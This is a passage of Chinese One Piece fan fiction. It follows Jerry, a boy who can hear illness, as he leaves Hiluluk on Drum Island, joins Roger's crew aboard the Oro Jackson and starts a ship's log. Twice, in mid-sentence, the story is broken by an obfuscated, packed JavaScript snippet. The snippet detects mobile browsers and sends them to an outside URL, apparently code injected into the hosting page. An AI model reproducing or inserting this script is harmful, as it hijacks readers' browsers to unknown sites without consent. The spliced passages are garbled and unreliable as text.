“后悔了?那也没用!希鲁鲁克,您带我来这里的,要为自己的——” 希鲁鲁克把自己的衣领从杰里的手里解放出来,开口打断道: “又来了,你这个只会逃避的臭小鬼只会这一句话吗?”他表情有些烦躁地站起身,“话说我们的协议几年前就结束了吧,我只需要带你到磁鼓岛,不是吗?” 杰里愣了一下。 希鲁鲁克:“怕冷的家伙就到海上去!找一个夏岛,春岛,秋岛都随便你!我受够你的抱怨了,只会表面礼貌的小鬼!” 杰里:“哈??” 雷利叹了口气,一个条纹帽凑了过来——是巴基。 巴基:“那个,雷利前辈,这是怎么回事啊。杰里真的要上船吗?” 他抚了抚小孩儿的脑袋,“啊,大概,如果他同意跟我们走的话。” 巴基:“是...因为罗杰船长的病?” 雷利:“嗯...不算吧。如果他上船,我们不会强迫他一定要做什么,但是,既然在船上,就偶尔需要帮忙,比如帮库洛卡斯分担一些任务,和你们一起打扫甲板这类吧。” 他看了看和罗杰旁边的香克斯,又看了看身旁的巴基。两个小孩都脸上都是一副既担心又期待的神色。 哦? “你俩很喜欢他?” 巴基顿时跳脚:“哈??没、没啊?本大爷才不会喜欢那种家伙!也就香克斯那种缺根筋的能和他玩得来吧!” 雷利只是笑笑,戳了一下巴基红彤彤的耳廓。 先不说杰里的能力可能会对治好罗杰有所帮助,就算是没有那些,他也并不是不欢迎这个孩子。即使短暂的相处让雷利敏锐地察觉到了这小子是个麻烦,还好,他不讨厌麻烦。 只是,海贼船究竟适不适合养孩子这个问题暂且不论,杰里也确实不一定会答应。而且,希鲁鲁克赶人的方式确实有点...算了,他也只是个笨蛋而已。 '' 交给你了——雷利!'' 这二十几年他听过多少遍这句话了呢?没人数过,也没法数。他只知道无论何时,它都是一模一样饱含信任的语调,哪怕他们才认识一天。 快三十年了,他们都习惯了它。 好吧,罗杰,你真是个麻烦。 雷利摸了摸胡子。走上前去对僵持着的希鲁鲁克和杰里,说出了他们会在磁鼓岛停留一周的打算。 - 有句话怎么说来着?反正对杰里来说,差不多就是类似 ''这是最糟糕的一周,也是最好的一周'' 吧。 那天之后,除了希鲁鲁克天天话里话外地让他跟着这群海贼走,没人再提要他上船的事。雷利先生只是派了香克斯和巴基和他呆着,哦,偶尔还有罗杰先生。 第一天他莫名其妙地和罗杰海贼团几乎所有的船员打了招呼,晚上和希鲁鲁克吵架; 第二天采药又莫名其妙变成在森林里探险,晚上和希鲁鲁克吵架; 第三天干脆就和罗杰先生去抓拉邦,晚上和希鲁鲁克吵架; 第四天参观奥罗杰克逊号.......吵架。 杰里自认不是傻子,他当然知道他们的目的,无非就是想让他上船。希鲁鲁克的烂招数,他当晚就反应过来了,就是生气才和他吵架,看他说不过自己的样子很爽。 不过,他不得不承认雷利先生的这一手,效果好得出奇。他也完全拿希鲁鲁克那个笨蛋没办法。 第一天,他见到了高大的鱼人;第二天,他给新朋友们传授了他的药膳美学;第三天,罗杰先生制服了拉邦。 '' 你懂什么啊,臭小鬼!那是代表着''自由''的旗帜! '' 他回嘴:''那么喜欢您怎么不嫁给它啊!单身腿毛大叔!'' 他最喜欢第四天,香克斯和巴基给他展示了他们冒险的纪念品。 巴基偏爱宝石珠宝,但是他俩都有很多令人着迷的小玩意儿。七彩的贝壳,古朴的木雕,可以折叠放到口袋里的结实鱼竿,蛇蜕皮制成的不同饰品... '' 没有眼界的小子,你目前见到的世界只有这么这么小。 '' 希鲁鲁克卷着手指。 他回嘴:''您的脑子也只有那么那么小吧。'' 为什么要他离开?他不明白希鲁鲁克说他要寻找到的东西到底是什么,但是他确实很喜欢七彩的贝壳,古朴的木雕。 如影随形的恐惧开始爬上他的脊背,被钉在原地太久了,那些铁锈早已融进他的血肉。就算他同意,又该以什么身份登上那艘气派的帆船?杰里?茵弗玛利? 明天就是二月最后一个星期的最后一天,亨姆岛上会发圣餐,因为春天要到了——只是磁鼓岛没有春天。 ''你不是想看樱花吗!与其在这里吐槽我的研究,还不如去别的地方看!睡树上都行!'' 他回嘴:''您终于承认自己研究不出来了?真是可喜可贺'' 他跪坐在米森的墓前,头顶上方投来了一片阴影。是雷利先生前来询问,“你跟我们走的概率是多少? ” 狡猾的,聪明的,敏锐的雷利先生。您居然发现了我的把戏。 雷利先生回答,“狡猾的的,聪明的,顽皮的孩子,看来它不会是0% ” 是的,即使是 ''1'',那也不是 ''0''。也许自从九年前他踏上了那艘商船,他的世界就开始变得模糊不堪。1%和99%在他眼里代表的东西也开始变得并无两样。 “理由呢,雷利先生?先说好,罗杰先生的病我可能没办法哦。” 雷利:“没关系,我们挺喜欢你的,罗杰说想让你上船,就这样。海贼就是一群随心所欲的家伙。” ''到大海上去,茵弗,你得离开那座岛。'' 他没有回嘴了。 “您赢了,雷利先生。” 他伸出了手。 待两人双手交握,他闭了闭眼,如飞跃而起一般叹息。 “万幸,您十分健康。” 雷利离开后,杰里便继续对着墓碑说话。 “刚刚那位就是我提到的雷利先生,失礼了,但是,他是个狡猾的大叔。不过,看在他给你带了鲜花的份上,我原谅他了。” 他拨弄了一下手边的花瓣,“毕竟,你也知道,这种花束在磁鼓岛上卖的很贵。” 磁鼓岛的统治者们很糟糕,不过,村民们很好。杰里很感激他们给了没法回亨姆岛的米森一个可以安眠的地方,让他不用将姐姐葬在野外。 “不过,你也可能也不知道——因为我不觉得你还在这里。你应该在神的身边了吧?我希望你在。那样也好,我大概有一段时间不能来了......” 他嘴唇嚅动了两下,最终还是低下头,深深地伏在了雪地里,对着冰冷的空气,献上自己全部的虔诚。 “我很抱歉,米森,为所有的一切。” “即使你不愿再爱我,也请看在神的份上,祝福我的旅程吧?无论你在哪里。” 再次起身时,他感到自己有些颤抖,双腿发麻——该去收拾行李了。 “愿您安息,灵魂以飞鸟、以蝴蝶,跃进那金色的拱门,随着钟声去向蜜与奶的乐园。” 他没有再回头。 - 茵弗是真的没有多少行李,希鲁鲁克想。 生活在冬岛的人,衣服自然基本都是以保暖为主。甚至因为那孩子怕冷,即使是室内的单衣,也做的比寻常的要厚实。但是,到了海上,他总不能穿着棉裤去夏岛。 他左手拎着一件加绒外套,右手拎着一件三层厚毛衣,陷入了苦恼。 其实根本没必要这么纠结,按理来说衣物只是行李中的一项。只是除了衣服和医书,他发现自己就没有什么好替他装的了。雷利说生活的基础用品船上会准备,路途上如果发现有缺少,他们靠岸的时候,也可以自己去买。茵弗会和船上的两个小实习生住在一起,他们也能相互照顾。只是,他很想帮茵弗收拾行李。 “拿几件薄的就好了,热的时候也能穿,我会再买新衣服的。” 希鲁鲁克吓了一跳,他没注意到有人回来。 “啊!茵弗!你回来了啊。” 杰里:“嗯,和姐姐道别了。看来雷利先生已经来告诉过您了啊,我要跟他们走。” 希鲁鲁克把手上的两件衣服都放到了一边,继续在柜子里翻翻找找。 “啊,是啊。你决定了就好。” “明天我不去送你了,听说去年出生的那个小王子病了,我得混到传召的医生里去看看。”他随手抓了件宽大的毛衣,“雷利说明天罗杰兄弟要去库蕾哈那儿,我就拜托他们去之前来接你,顺便带你去老太婆那道个别。” 杰里:“啊啊知道了。听到我终于不会再去她那里赖着她了,医娘高兴地朝我脸上扔手术刀的概率大概是90%吧。” 希鲁鲁克:“我就说你那种暴力医疗手段是跟她偷学的吧!本来这方面你就很冷血了!我真担心你会学她那种要人家一半财产的坏脾气!听好了,茵弗,对于医生,最重要的就是——” 杰里捂住耳朵,小孩子气地扑到了自己的床上,开始盯着壁炉发呆。 希鲁鲁克看他的样子,只能无奈地换了个话题。 “还有什么要拿走的吗?你做的那些乱七八糟的吃的用的?你的小玩具们?” 他指指桌上的器材,“实验器材要拿走吗?反正都被你用习惯了吧,我再买新的。” 杰里打了个哈欠,明明时间还早,他却突然感到一种熟悉的疲惫。 “嗯,我晚点会收拾的,一半给您留着用,剩下的我带走。还有,那些不是玩具,请叫它们收藏品,真是失礼啊您。” 身下的毛毯很软,很厚。因为他怕冷,这是希鲁鲁克从城堡里偷回来的,据说是最暖的毯子。他没告诉过希鲁鲁克,但是这张毛毯,其实才是整个小屋里他最宝贝的东西,即使他总是抱怨清洗很麻烦。 努力睁开沉重的眼皮,他打了个滚把自己卷进去。 “实验器材就不用了,买新的很贵,您没那么多钱。我会在别的岛订一套的。” 所以,不用偷偷的把自己的积蓄都给我。 他的声音越来越小,越来越慢。脑袋里迷迷蒙蒙地想着,即使希鲁鲁克不会在他走后,就劈了这张小床,下次回来也估计睡不下他了。 “行李也怎么样都好,您不收拾,我也知道您爱我的,这些年来...给您添里不少麻烦,十分感谢...” “不用再担心我了,医生。我会自己赚钱,学习打架,好好吃饭...” 希鲁鲁克走到那张小小的床边,蹲下身子,摸了摸杰里淡金色的头发。他长大了,却还是那么小。 “怎么可能不担心啊,臭小子...小鬼就要有小鬼的样子,天天像个大人一样的讲话真是烦死了...等着吧,等你下次回来,我会让这个国家开满樱花。” 头被摸得很舒服,本来就快睡着的杰里早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495351|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭上了眼。 “嗯...那很好...不过,我走了之后,就找个真正的儿子吧,医生...比我更好...” 细小的呼噜声开始在小屋里蔓延,只有壁炉里的星火看到了希鲁鲁克淌满泪水的脸。 - 杰里这一觉睡了很久,从当天的傍晚到第二天中午。期间好像模模糊糊听到有人跟自己说话,有人在自己的身边呆了很久,也可能没有。 总之,他睡过头了,希鲁鲁克早已出门,没叫他起床。他翻了翻床脚已经被整理好的行李,无奈地勾勾嘴角,然后胡乱地开始从里面拿出来说好的一半往希鲁鲁克的箱子里塞。 就在这时,木屋的门被敲响了。 “走了!茵、杰、...那个小子!” 杰里:“哈哈哈哈,中午好,二位!您叫我什么都行,罗杰先生!真是失礼了,我还乱糟糟的。” 罗杰:“噢——那就小黑!走了!” 杰里:“...可恶,无法反驳...” “给我反驳啊!” 库洛卡斯头都大了。前些天见到的时候还很乖巧的小鬼,今天一看怎么好像脑袋里也有几根脱线的样子。果然上了罗杰船的人都是一个熊样! 杰里把两人请了进来,一人递上一碗炉子上温着的热茶。 “请,里面加了一点点奶和酥油。今天雷利先生没和您一起吗?” 罗杰吐吐舌头,不习惯酥油的味道。 “哦!今天要出航了,雷利大概在船上忙吧!我们来接你一起去树里的老太婆那。” 杰里:“库洛卡斯先生也一起?” 库洛卡斯点头:“我和乔治那老家伙以前一起在库蕾哈手下学习过,虽然说,比起学习更像是打杂吧。这几天都是我带罗杰去她那。” 杰里:“诶——原来如此,看来这方面医娘一直都没怎么变过啊。” 他折起给希鲁鲁克留的纸条,压到了茶杯底下。虽然屋子很乱,他也不打算特意收拾,他担心希鲁鲁克回来之后在格外干净的家里感到寒冷。 拒绝了库洛卡斯要帮他提行李的举动,杰里卷起自己的毛毯,背上行囊。在确定那个心软的家伙没把全身家当都塞给自己后,他决定即使有什么没带也无所谓了。 只是,他没想到Dr.库蕾哈居然也骂骂咧咧地往他脑袋上扔了一包医疗用品。 “居然跑去当海贼,真是和希鲁鲁克那家伙臭味相投。” 杰里感动得泪汪汪:“诶?感谢您!这些年真是多有您的照顾,没能偷偷学会您永葆青春的秘诀真是可惜...但是在您这偷的医书我都放在了希鲁鲁克那,还有一些草药也....” 库蕾哈大怒:“快滚吧臭小子!没事别回来!” 杰里熟练躲避着飞过来的手术刀,菜刀,银针等一系列尖锐物品,嘻嘻哈哈的跑出了门。 “那我先去港口了,罗杰先生!库洛卡斯先生!您们慢慢忙,库蕾哈医娘是磁鼓岛最好的医生!” 他离开后,屋子里就慢慢冷了下来。 库蕾哈叹了口气,扭开一瓶酒,瞅了瞅还呆在她屋子里的两人。 “干嘛?我都说了这小子身上的病我没法治,延寿可以,但是你得在我这儿至少呆几年,你又不干。”她仰头灌了一口酒“医生又不是神,既然没事了那就快滚!” 即使时隔多年,库洛卡斯再见到库蕾哈也还是有点犯怵。这老太婆都一百多岁了吧,怎么还是一个样子啊! “是,毕竟是不治之症,你给的医方已经有很大帮助了,我会好好研究的。”他指了指杰里离开的方向,“只是,有关那小子的能力,乔治跟我说也许...” 库蕾哈嗤笑了一声。 “他的能力?那可真是个好东西啊,''能够听到病痛'' 简直就是为一个好医生量身打造的不是吗?” 她踢了罗杰的小腿一脚,“小子,我问你,【听】是什么意思?你不是能【听】到吗?说说看。” 罗杰皱皱鼻子,翘翘胡子,也没在意为什么面前的老太婆知道他能聆听万物之声。 “啊?听就是听啊?” 库蕾哈啧了一声:“用什么听?耳朵吗?都听到点什么?” 罗杰挠头:“哈?用、不算耳朵吧,不,有时候是耳朵...听到什么?也的就是那样啊?” 虽然他确实能听到万物之声,但是说是用耳朵吧,也不太像,而且除了他别人也听不到。 对他来说更像是从脑袋里听到。内容的话,有时候是语言,有时候只是一种冥冥中的感觉而已。突然让他形容,一时还真说不出来,反正他就是知道听到了什么嘛! 库蕾哈:“看吧,就算是你,也不能完全知道。那小子呢?我们更没法知道。” 他到底听到了什么?是声音吗?是体感吗?是可以交流的东西吗?为什么他搞出来一些一塌糊涂的''处方'',结果真的有用? “和后天逐渐显现的能力不一样。他还是个小屁孩呢,就被塞了一脑子的【声音】。他怎么就能【听】出来病人需要什么?” 就算让他形容一下听到了什么,他也要么只能说出来什么''很大声'' ''很吵'' ''很痛''之类的东西,要么一言不发。问题就在这,那些声音对他来说''太吵了'',有时候他的脑子根本处理不了,而别人就算想帮忙,也压根没法理解。 “希鲁鲁克那个白痴,总自我安慰地说他是在学我,哈!不在乎病人的 ''剔除'' 和高效率的 ''医疗'' 可是两码事。” 库蕾哈捏了捏眉心,“他确实医术天赋异禀,但是这世界上总会有他治不了的病,救不了的人。病人健康了,他的世界就安静了,人死了,他的世界也安静了。你们明白吗?这对一个几岁的小孩来说是多么混乱?” “加上他故乡那乱七八糟环境,还有他姐姐的事...算了,你们懂我的意思。” 罗杰和库洛卡斯都一言不发。库洛卡斯的额角渗出丝丝冷汗,只觉得脑子里无数的疑问和推测都没须没尾地一闪而过。 “听着,臭小子,看上了他的能力也好,同情他也罢,还是真的就是想带他出去转转都无所谓。” 库蕾哈不知道从哪又拿出来一把手术刀,在翻转中闪过一丝白光。 “你的病,是什么程度自己心里也有数。也许他能治,也许他不能,既然上了你的船,就自己去问。那小子再怎么样,也是个心软的白痴,和希鲁鲁克一个样。” “我只说一点。” 嗖—— 那把刀贴着罗杰的脸颊飞了出去,深深地钉在墙上。 “茵弗勉强算是个好孩子,别把他逼疯了,再逃跑一次。” 罗杰没在意脸上的血痕,无知无觉般捻了捻胡子,“我果然不讨厌你啊,老太婆!” “老娘年轻着呢!现在快滚!” 7. 奥罗杰克逊号今天的饭1 【您好,日志本。毕竟接下来您要承载我的一些自言自语,所以我想我该用第一页跟您打个招呼,接下来的日子请多指教。您的皮质外壳那么结实美丽,我的字却不太好看,惭愧,请把他当成一个医生的必备美德。】 【那么,我开始了。】 【海园历1496年X月X日:】 【、、 、】 【、】 【对不起,日志本!我根本不知道该写点什么! 虽然有自己的医学笔记,但是也从来没有类似的习惯。它们太羞人了,我每天做了什么又有什么好记的? ''X月X日,起床,吃饭,研究,采摘,吃饭,看到希鲁鲁克的实验又炸了一堵墙''? 航海日志。我第一次知道海上的人还会有这种习惯。海浪变化,气候变化,路程估算这些应该是船长,不,航海士去记录。每日菜单也有厨师去头疼。 可我该写点什么?哇塞,今天的大海和昨天的一样蓝?雷利先生把本子给我的时候说''随便写写就好''。可是这么漂亮的本子,我在这艘船上收到的第一份礼物,怎么能''随便写写''?真是狡猾的男人。】 【、 、 、 、】 【糟糕,我好像已经写得很随意了。十分抱歉,去找香克斯和巴基参考一下好了。】 “航海日志?” 实习生的舱房里,三个脑袋围成了一圈蹲着。 “嗯,我本来是想来问问你们要怎么写。雷利先生送了我一个很好的本子。”杰里摆弄着手里的物品,然后郑重地放在了地上。 “总之,这就是我全部的藏品啦!为了表示对你们给我布置吊床的感谢,请一人挑一个喜欢的吧~” 巴基无语的拨了一把面前的一堆“垃圾”。形状奇怪的树皮,形状奇怪的石头,形状奇怪的木雕,形状奇怪的玩具。哦,还有几朵干花,玻璃碎片。 听这家伙神神秘秘说什么收藏品的,他还以为有宝藏呢。 “本大爷才不稀罕你的小垃圾。” “诶——!”杰里突然狠狠地把手遮在这一小堆物品上方,半个身子都弯了下来。 “嘘!你们不要听巴基的瞎话!” 香克斯倒是把自己的日志本随手递给杰里,捏起地上的一片玻璃,举到阳光下细细端详。 “嗯...怎样都好啦,海贼的宝藏就是要什么都有嘛。” 绿绿的一小片,应该是有点劣质,混混沌沌的。边缘倒是好像又被打磨过,没有扎手的感觉。 他眼尖地看到一些凸起,好像是几个字母,有点眼熟。 “这是酒瓶的碎片吗?” “bingo~” 杰里低头翻看着手里的的日志,随手打了个响指。 “为什么要收藏这个?” “噢!因为它很烂。”对方凑了过来,毛衣蹭的香克斯痒痒的。 “嗯?” “它那批瓶子可能烧制得不是很好,当然,做酒瓶足以了。但是——”杰里轻轻地握住香克斯举着玻璃片的手,慢慢地引导他调整着角度。 细小的纤尘在空气里飘浮着,漂浮着。杰里的动作很小心,甚至都没有怎么影响它们的轨道。 然后,他移开了手,香克斯的嘴变成了''o''的形状。 刚刚还只是绿色的碎片,里面本混沌的颜色就像被阳光同化了一样,变成了浅浅的金。 “哇...” 杰里得意地扬扬下巴,注意到巴基也开始犹犹豫豫的从他的收藏品里找东西出来看。 “哦—!那个是据说陈酿了70年的好酒的瓶塞哦!我从库蕾哈医娘那里偷来的...” 香克斯反复试了几次,终于把握住了合适的阳光角度。“嗯—”他眯着眼对比了一下,这个颜色... 他瞅瞅杰里的后脑勺。 稍微有点像。 “杰里,我想要这个!” “诶?我以为你会喜欢更喜欢这个''葱熊玛利亚的葱''的雕刻。” “哦!也讲讲这个的事吧!” “当然,传说它本来应该被雕成''远足熊的同款手杖'',但是......” 纤尘们静静地在舷窗透进来的阳光里打了个旋。 【好。看了他们的,我觉得我写的还是不够随意。 ''今天无事,吃了巧克力,好吃''就结束了是什么啊?亏我还跟本子好好打招呼了!不,姐姐,我没有愧于你的教导,随意对珍惜的朋友产生怀疑,但是、我觉得是不是再问问别人比较好?实验变量什么的...】 【、】 【算了。】 【航海第一天,吃了鱼,好吃。】 “航海日志?” “是的,打扰您了,贾巴先生。我最近在写,可是还是不确定怎样写比较好。” 贾巴一只手扶在船舵上,一边跟新上船的小家伙说话。 “啊不打扰、不打扰,我只是看看航线而已。” 说真的,海贼被这么讲话还真是会一阵鸡皮疙瘩,他把墨镜从头上滑到鼻梁。 “我的话一般会记录今天航海遇到了什么情况,再预估一下明天吧。不过,也有会比较重视心得的感性类型。”他指了指正在保养自己铠甲的CB·加朗。 “总之,前面可以写一下今天航海发生了什么,后面写心得?其实你想怎么写就怎么写啦。”他又把墨镜推了上去,看着这小孩儿的眼睛——嗯、小小年纪就眯眯眼啊、 “虽然是同一条船,但是要记录的是''自己''的航海不是吗,不然大家用一本不就好了?随便你怎样。” “唔...” “?” “贾巴先生,墨镜很帅呢。” “?哦哦蛮有品位的嘛你。” 【海圆历1496年X月X日:】 【今日航海无事。】 【贾巴先生告诉我可以类似这样开头,十分感谢。】 【、贾巴先生很帅气,有很帅气的斧头,我也很喜欢他的墨镜和头发。他听到我说了之后,把墨镜架在了我脸上,然后一群人笑我''眯眯眼戴墨镜像个小狐狸''。上次芋头先生听说我爱吃鱼还说我眯眯眼像小猫。很摇摆不定啊,这群人,而且,很自来熟。 这一点,说实话让我有些不适应,明明是莫名其妙突然上船的家伙,他们好像过于友善,就像是一群老朋友一样没有距离感,刚上船就开了宴会。明明都不认识?而且,和亨姆岛的那种''众人皆是精神兄弟姐妹''的感觉不一样,和磁鼓岛上那种,大人见到小孩之后''可以匀出来耐心''也不一样。 总之,是一群奇怪的家伙。 也许是因为他们觉得我是来治好罗杰先生的?我当然知道上了船肯定要去医务室帮忙,或者打杂,毕竟他们一开始就是因为我的能力找上我。姐姐,我没忘记,''劳动才能不愧于神赐米粮''。 不过,雷利先生虽然有提到这件事,但是罗杰先生说等我习惯了再说,然后就把雷利先生拉走咬耳朵,雷利先生好像很无奈的叹气,捶了他一下,关系真好。最后也只是让我偶尔去医务室听库洛卡斯先生安排就好。 可能是想等我习惯船上生活?人怪好嘞。】 【对了,今天吃了肉排,有点难嚼。】 【海圆历1496年X月X日:】 【今日靠岸—格拉斯岛】 【这是我第一次到达新的岛屿。雷利先生没有安排我任务,反而给我发了不少贝利。我目前做的事情不多,偶尔和实习生们一起。库洛卡斯先生也没有让我给罗杰先生看病,只是跟着他当学徒。偶尔会问问我,“如果是这样的症状你的能力会让你听到什么” 这样的问题。 说回雷利先生给我发钱的事,有一种从大人那里拿零花钱的感觉,我嘴上开着玩笑,但是雷利先生好像看穿了我的别扭。他让我放松点,学香克斯他们一样做个小孩。 姐姐,我还没出生你就穿上神使的道袍了,你有没有做过小孩?这很新奇,我心里有点皱巴巴的。亨姆岛上,我也一岁的时候就被称为先生了吧。 总之,我用这笔钱在这个岛上订了新的实验器材,然后给雷利先生回礼了一块漂亮的眼镜布,他好像有点无奈,但是同意了我要多干些活的提议。】 【今天吃了香克斯请的章鱼烧。】 “你在记录之前的实验吗?''砰!''的一下,里面的东西就变成一点点粉末了。好神奇啊!” 杰里放下手里的笔,揉了两把凑过来的红色脑袋。还行,这次知道凑过来要摘草帽了,上次真的是整个帽檐戳在他脸上。 “不哦,是航海日志。我已经知道它会变粉末了,本来以为能吓你一跳的几率有80%呢。” “切,我才不会被吓到呢。”香克斯撇嘴。 “啊抱歉抱歉,来看看我在岛上搞到的宝藏吧?” “哇!好耶!”香克斯眉开眼笑。 “噗嗤—”杰里弯弯眼睛,从兜里摸出来了一个玻璃珠。他没钱再买这个以玻璃制作闻名的岛上的玻璃工艺品,这是和街上的一群小孩玩弹珠之后收到的礼物。 两只小手又握在一起,把小小的珠子举在光下左看右看。 【海圆历1496年X月X日:】 【今日暴风雨。】 【世界上真的有瞬间就倾盆的暴雨,我向神明起誓,上一秒还艳阳高照。总之,雷利先生让我们三个进了船舱。 即使是从北海去磁鼓岛的时候——虽然我记不太清了,但是好像也没见过这么大的风浪。在摇晃的船上,只有我有些站不稳。奥罗杰克逊号很大,也很结实,香克斯告诉我''没什么好担心的''。他说在伟大航路,这样的风暴很常见。巴基也说,一般他们会去帮忙固定箱子什么的,不过因为我第一次经历,''巴基大爷勉为其难的和臭克斯来陪我''。 、其实不用的,怎么反而被两个小孩照顾了心情。但是我确实一开始有点害怕,也总撞到墙上,或者摔跤。所以我有点难堪和内疚。 对不起姐姐,我还不够男子汉,也许下一次的风暴,我还是会怕。】 【今天的饭是热汤配面包,大家都淋湿了,芋头先生说要暖一暖身子。因为没帮上忙,所以我贡献了辛棘果酱。】 雷利放下了手中熟悉的果酱瓶。伙伴们都没在意自己湿乎乎的,嬉笑着在风暴后坐在饭厅里推杯换盏。芋头咬着涂了果酱的面包,眼睛越来越亮。香克斯在一旁跟他说着什么“很厉害吧!”,一脸骄傲。 虽然早都是一群闯荡伟大航路的风风雨雨的老水手了,但是突然有人在这时提供了一点温暖,即使只有一点点,好像也让今天的饭厅变得更加快活。 送来这一点点快活的小家伙却不在。 雷利看了看,杰里的餐具已经被放在水池里了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495352|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问巴基,得到了指指门口的回答。 风暴刚刚过去不久,甲板还没完全清理。湿漉漉地在月亮下发光。空气也是雨后的清新感。 雷利没在甲板上走多远就看到了月光里的杰里,手里提着鞋子,光着脚踩来踩去。 “别滑倒掉到海里去了,大家都在饭堂呢。” 话音刚落,小孩就啪叽一下摔在了地上。 “你看吧。” 杰里干脆不起来了,躺在甲板上任由衣服被打湿。 “我正在品味人生第一次经历海上风暴的感动呢。是您讲话太突然了。” “那我道歉?” “啊,那再好不过了。” 臭小鬼。雷利笑着走过去,用靴子戳了戳小孩的胳膊。 “你这也叫经历啊?不是在船舱里做蘑菇来着?” 小蘑菇顶嘴“那也是您让我去的。” “我总不能看你被吹跑做什么蒲公英吧?” 蘑菇没说话了。 雷利看了看他,又看了看天上的月亮。暴风雨过后的夜晚其实很美,整片夜空都被洗涮过了一般,墨色如黛,点点星光如同悬浮在眼前,抬手就能摘下。杰里也确实向天空伸出了手,虚虚张合着五指。 沉默就在这样的夜色中弥漫了一会儿,直到雷利再次开口:“以后香克斯和巴基训练的时候,你也跟着吧?没准下次你就能出来了,好好见识一下什么是伟大航路的风暴。”他低声笑笑,“我们可是罗杰海贼团,以后遇到的危险多着呢。不想做蘑菇就要加油咯。” 杰里举起的手攥紧了,好像真的抓住了一颗星星一样,小小地回了声“好”。 【海圆历1496年X月X日:】 【今日航海无事。】 【芋头先生找我,他说我的果酱很厉害,想问我怎么做的。他昨天注意到我喜欢吐司了,所以特意烤了一整块作为谢礼。 真是太、 我不知道,姐姐,我又感到皱巴巴的。和香克斯还有巴基成为朋友的那一天,也有这样的感觉,所以我不确定是否真的讨厌它。 和芋头先生讨论了我的药膳美学之后,有一部分他和希鲁鲁克观点一样,说有点恶心,失礼了,但是,没品。 不过,他还是邀请我教他一些,也答应借厨房给我继续我的实验,叫我小医生。 惭愧,我只是喜欢吃,又想顺便通过吃零食达到一些目的而已。 其他船员听到他这么叫我,也开始叫我小医生。只有罗杰先生有时候叫我小黑。】 “小黑,别听他们的。我是船长,我说你习惯了再来给我看病,那你就习惯了再来给我看病。” “不、不,罗杰先生,这跟他们叫我小医生没关系...而且我已经习惯了船上的生活了...”杰里紧张地在库蕾哈送他的医疗箱里翻翻找找,其实用手接触就行了,目前没有需要的工具,他只是希望双手能停止颤抖。 “这个称呼也确实提醒了我,毕竟我确实除了能力外拿不出手什么,您们让我上船我也很感激...是不是应该回应大家的某种期待呢...” 罗杰打断了他,掰着杰里的肩膀把他扭过来面对面,避过了对方因为惊吓而抬起的双手。 “我不是说习惯船上的生活,是习惯自己的能力。你之前在磁鼓岛上有''听''过了我的病吧,问我痛不痛来着?” 杰里眨了眨眼:“是、是的?但是我没有仔细听,当时主要还是为了解决希鲁鲁克的麻烦...” 罗杰笑着翘了翘胡子,“哦!那我现在回答你,很痛哦。你没仔细听是对的。” 杰里愣住了。 ''我并不痛苦,杰里'' 罗杰继续说道:“我也能【听】!虽然不太一样。你比我厉害点,如果我天天满脑子听到的都是别人的痛苦,我可能早就烦死了!” ''我并不痛苦'' “库洛卡斯告诉我,你跟他说你听到的东西,有时候让你也不舒服吧?那就更难受了!所以,我都能感到很痛苦的东西,你不需要在没准备好的时候去听,你也很害怕吧?” “可...可是...” 罗杰揉了揉杰里的头发,他很高,手掌也很大,掌心有很多茧子和伤痕。 “我让你上船不是为了让你一定来治好我的,我们不太懂你的能力,但是你可以慢慢来。船上出现点小病小伤的也都会去库洛卡斯那,你就跟着他呗,那些家伙肯定不会不愿意帮你实验的。” 杰里不知道该说什么,他没见过这样的人。他自己好像也变成了一条扭曲的伤疤,一块厚厚的茧,附叕在了罗杰的手上,而对方全盘接受,就像他也是他冒险的一部分。 “如果您...如果因为我没能帮上忙,您没能及时完成您的梦想怎么办?去磁鼓岛也因为我的原因,您们多停靠了很多天吧?我、我并不痛苦。” 哦,杰里想到,罗杰先生真的也可以【听】。 他说,“不,我会完成我的梦想。我相信库洛卡斯,相信我的伙伴们会帮我完成它,就算死了,我也不会留下遗憾。” 他笑得眼睛都弯了,好像这是他最快乐的事一样。 “你很痛苦,茵弗。但是没关系,在我死之前,我会等你,怎么样?” 杰里闭上眼,任由自己化成一道痂。 【吐司很好吃,姐姐,我分享给了大家。】 8. 奥罗杰克逊号今天的饭2 伟大航路的''伟大''二字,不因沿路的岛屿,也不因什么伟人——只为这片海而已。 今日,海洋已不满于在低处沉睡,宛如巨大的触手一般起伏着,企图撕扯下一片黑压压的天。 被卷入其中的游鱼却活动自如,根本没注意到自己已不在海平面以下。只有从海水里掉出来的时才大张着嘴下落,无声尖叫。 对于伟大航路的新人来说,这跟通向地狱的路没什么两样,对于罗杰海贼团,这只是星期三而已。 “桑贝尔先生!您太酷了!!” 杰里坐在罗杰的肩头,飞溅的海水沾了他满脸也无所谓。就在刚刚,船上高大的鱼人先生主动跃入了这片危险的海,又从一条海流中冲出,一招漂亮的鱼人空手道使杰克逊号避开了一道横向而起的海浪。 “哦哦桑贝尔!就知道耍帅!” 鱼人落到甲板上,没理那群吹口哨调笑他的家伙,对朝他欢呼的小孩儿露出了一个满嘴尖牙的笑。 “嘿!小鱼苗,今天你的航海日志有得写了啊!” 杰里上船已经有一段时间了,大家也都习惯了他有事没事突然掏出本子开始写写画画。香克斯和巴基都是在这方面不怎么在意的类型,所以反倒让大家觉得新奇。 